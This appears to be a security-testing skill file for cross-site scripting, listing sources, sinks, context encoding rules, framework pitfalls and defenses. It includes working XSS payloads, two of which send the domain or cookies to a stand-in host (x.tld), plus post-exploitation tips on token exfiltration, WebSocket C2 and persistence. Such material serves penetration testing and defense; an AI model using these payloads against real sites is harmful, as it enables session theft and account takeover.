Files
strix/strix/skills/vulnerabilities/xss.md
2026-01-20 12:50:59 -08:00

7.9 KiB

CROSS-SITE SCRIPTING (XSS)

Critical

XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).

Scope

  • Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
  • Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
  • Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
  • CSP/Trusted Types interactions, bypasses, and gadget-based execution

Methodology

  1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
  2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
  3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
  4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.

Injection Points

  • Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
  • Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
  • URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
  • Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
  • Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
  • File/metadata: image/SVG/XML names and EXIF, office documents processed server/client

Context Rules

  • HTML text: encode < > & " '
  • Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
  • URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
  • JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
  • CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
  • SVG/MathML: treat as active content; many tags execute via onload or animation events

Advanced Detection

Differential Responses

  • Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
  • Time-based userland probes: setTimeout gating to detect execution without visible UI

Multi Channel

  • Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel

Advanced Techniques

Dom Xss

  • Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
  • Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
  • Example vulnerable pattern:
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;

Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>

Mutation Xss

  • Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
  • Payloads:
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>

Template Injection

  • Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
  • Example (AngularJS legacy): {{constructor.constructor('fetch(//x.tld?c=+document.cookie)')()}}

Csp Bypass

  • Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
  • Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
  • Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
  • Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy

Trusted Types

  • If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
  • Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets

Polyglot Minimal

  • Keep a compact set tuned per context: HTML node: <svg onload=alert(1)> Attr quoted: " autofocus onfocus=alert(1) x=" Attr unquoted: onmouseover=alert(1) JS string: "-alert(1)-" URL: javascript:alert(1)

Frameworks

React

  • Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
  • Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
  • Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML

Vue

  • Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
  • Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content

Angular

  • Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
  • Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants

Svelte

  • Sink: {@html} and dynamic attributes
  • Defense: never pass untrusted HTML; sanitize or use text nodes

Markdown Richtext

  • Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
  • Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes

Special Contexts

Emails

  • Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution

Pdf And Docs

  • PDF engines may execute JS in annotations or links; test javascript: in links and submit actions

File Uploads

  • SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
  • Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff

Post Exploitation

  • Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
  • Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
  • Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
  • Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays

Validation

  1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
  2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
  3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
  4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.

False Positives

  • Reflected content safely encoded in the exact context
  • CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
  • Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)

Pro Tips

  1. Start with context classification, not payload brute force.
  2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
  3. Keep a small, curated payload set per context and iterate with encodings.
  4. Validate defenses by configuration inspection and negative tests.
  5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
  6. Treat SVG/MathML as first-class active content; test separately.
  7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
  8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.

Remember

Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.